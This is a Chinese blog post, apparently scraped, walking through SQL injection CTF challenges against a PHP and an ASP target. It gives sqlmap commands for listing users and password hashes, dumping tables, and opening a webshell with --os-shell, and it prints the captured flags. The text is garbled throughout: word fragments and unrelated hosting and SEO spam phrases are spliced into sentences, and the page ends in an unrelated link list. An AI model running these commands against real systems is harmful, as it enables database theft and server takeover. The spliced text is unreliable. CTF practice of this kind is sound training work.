您现在的位置是:数据库 >>正文
CTF中的普通SQL注入题分析
数据库5人已围观
简介在CTF比赛中一定会存在一道SQL注入题,SQL注入作为OWASP中排名第一的高危漏洞,作为网络攻防对抗最热门的技术知识,在很多大型CTF比赛中都会出现考题,虽然形势有所变化,但万变不离其宗,只要掌握 ...

在CTF比赛中一定会存在一道SQL注入题,中注入SQL注入作为OWASP中排名第一的通S题分高危漏洞 ,作为网络攻防对抗最热门的中注入技术知识,在很多大型CTF比赛中都会出现考题,通S题分虽然形势有所变化 ,中注入但万变不离其宗 ,通S题分只要掌握了核心知识 ,中注入就能从容应对 。通S题分
一、中注入SQL注入解题思路
存在SQL注入的通S题分题目,基本都会有参数传入,中注入比如index.php?通S题分id=1这类的,其主要思路如下:
1.认真阅读题目,源码下载中注入一般来讲CTF比赛都会或多或少给出一些提示。通S题分因此要从字里行间去体会,中注入这个需要经验的记录。
2.对目标地址进行漏洞扫描。可以通过AWVS等工具进行漏洞扫描,如果存在SQL注入一般都能扫描到 。不过使用扫描工具特别耗费时间 ,在CTF比赛中时间很宝贵 。
3.直接对目标进行手工测试。针对不同类型编程语言,进行手工注册测试,确认存在漏洞后,可以使用sqlmap进行快速利用。
4.使用sqlmap来进行注入漏洞的测试及数据获取 。香港云服务器
二、SQL注入方法
1.使用havij注入工具进行url地址注入测试2.使用pangonlin注入攻击进行url地址注入测试3.使用WebCruiser进行扫描并进行url注入测试4.sqlmap注入常用命令(1)列数据库信息 :--dbs
(2)web当前使用的数据库--current-db
(3)web数据库使用账户 --current-user
(4)列出sqlserver所有用户 --users
(5)数据库账户与密码 --passwords
(6)指定库名列出所有表 -D database --tables
-D :指定数据库名称
(7)指定库名表名列出所有字段 -D antian365 -T admin --columns
-T :指定要列出字段的表
(8)指定库名表名字段dump出指定字段
-D secbang_com -T admin -C id,password ,username --dump
-D antian365 -T userb -C "email,Username,userpassword" --dump
可加双引号,也可不加双引号。
(9)导出多少条数据
-D tourdata -T userb -C "email,Username,userpassword" --start 1 --stop 10 --dump
参数:
--start :指定开始的行
--stop:指定结束的行
此条命令的含义为 :导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容。
三、ctf实战php sql注入
1.题目分析目标地址 :http://106.75.114.94:9005/index.php?id=1,如图1所示,建站模板提示flag在数据库中 ,根据这个信息判断,该题考查的为sql注入 。

图1题目分析
2.使用sqlmap进行sql注入测试(1)确认sql注入漏洞
执行命令 :sqlmap.py -u http://106.75.114.94:9005/index.php?id=1,如图2所示,sqlmap识别出get参数存在三种类型的sql注入,数据库为MySQL,操作系统为Linux。

图2确认sql注入漏洞
(2)排除系统数据库,获取所有数据
执行命令sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -a --exclude-sysdbs ,获取所有的数据 ,除系统数据库外,如图3所示,源码库该方法适合懒人 。

图3获取所有数据
3.获取flag在sqlmap执行完毕后,可以查看其数据库中的内容,如图4所示 ,成功获取其flag值 :flag{ b4d933ca-e1cc-43ef-80de-0749b0a2a8fe}。

图4获取flag值
4.总结前面提及的方法是最简便 ,最省事的一种获取方法 ,如果数据库中数据太多,前面的方法就比较耗费时间。常规解题思路为 :
(1)sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 --dbs --is-dba --current-user
(2)root账号可以直接获取webshell
sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 --os-shell
(3)获取数据库表
sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli --tables
(4)看表列名
sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli -T info --columns
(5)导出数据内容
sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli -T info --dump
四 、ctf实战asp sql注入
对于提供了参数的亿华云url地址来讲 ,其sql注入相对简单,直接使用sqlmap就可以搞定,关键必须熟悉sqlmap的常用命令。在本题中给出的是asp编程脚本站点,题目地址为:http://10.2.66.50:8133/show.asp?id=2。
1.漏洞点测试执行python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 ,如图5所示,sqlmap对注入点进行漏洞测试。

图5进行漏洞测试
2.获取数据库名称执行命令python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db ,如图6所示 ,可以看到参数id存在三种类型的sql注入漏洞 ,模板下载其当前数据库名称为“tourdata” 。

图6获取数据库名称及漏洞类型
3.获取表名python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata --tables,如图7所示 ,可以看到数据库类型为Microsoft SQL Server 2000,操作系统为Windows 2003 or XP,数据库中共有四个表,其中有三个表为系统表,news为目标表。

图7获取数据库表
4.获取数据内容执行命令sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata -T news --columns来获取列名 ,也可以只用sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata -T news --dump命令直接获取数据库表news中的所有内容 ,如图8所示,成功获取flag值为 :52c6f1d691661456b3f51d2760179209。

图8获取flag值
Tags:
转载:欢迎各位朋友分享到网络,但转载请说明文章出处“信息技术视野”。http://www.bziz.cn/news/576f599418.html
相关文章
移动设备管理为企业带来的七大好处
数据库移动设备管理工具有助于IT管理和保护员工使用的移动设备。虽然专用的MDM平台仍然存在,但许多供应商选择发展其工具来涵盖其他端点,如桌面、物联网设备、可穿戴设备等,创建统一端点管理UEM)工具。无论企业 ...
【数据库】
阅读更多NVIDIA推出各项举措:探索DPU应用场景,赋能开发者加速创新
数据库当前,数据已经成为企业的核心资产。随着企业数字化转型步入“深水区”,人工智能、大数据、云计算、物联网等技术的不断落地,企业获取数据的方式越来越简单,数据量呈现出爆炸式增长的态势。面对庞大的数据总量,一 ...
【数据库】
阅读更多使用U盘一键Ghost装系统的详细教程(U盘装系统,简单快捷又高效)
数据库随着科技的不断发展,电脑操作系统的安装变得越来越便捷。使用U盘一键Ghost装系统是一种简单、快速且高效的方式,它可以帮助用户将操作系统安装到目标计算机上,避免了繁琐的光盘安装过程。本文将详细介绍如何 ...
【数据库】
阅读更多
热门文章
最新文章
友情链接
- 探索Nowallprime的性(无墙壁体验的未来——Nowallprime的突破性创新)
- 红米2自动接听如何设置
- 华硕ZX53VW散热能力解析(性能炸裂,散热不退步!)
- 解决未安装音频输出设备的问题(如何在没有音频输出设备的情况下获得音频输出?)
- 改变logo,创造独特品牌形象的教程(简单易学的Logo设计教程,助你打造独特品牌)
- 第七代i57500的卓越表现(一款出色的处理器推动电脑性能提升)
- HTC M8口袋模式如何开启
- 一体化电脑设置教程(简单操作,快速上手,助你充分利用一体化电脑的功能)
- 华为荣耀7怎么使用智能遥控?
- 红米Mate4X带给你的全新体验(一部强大的智能手机,让你爱不释手) b2b信息平台香港物理机云服务器企业服务器源码库网站建设亿华云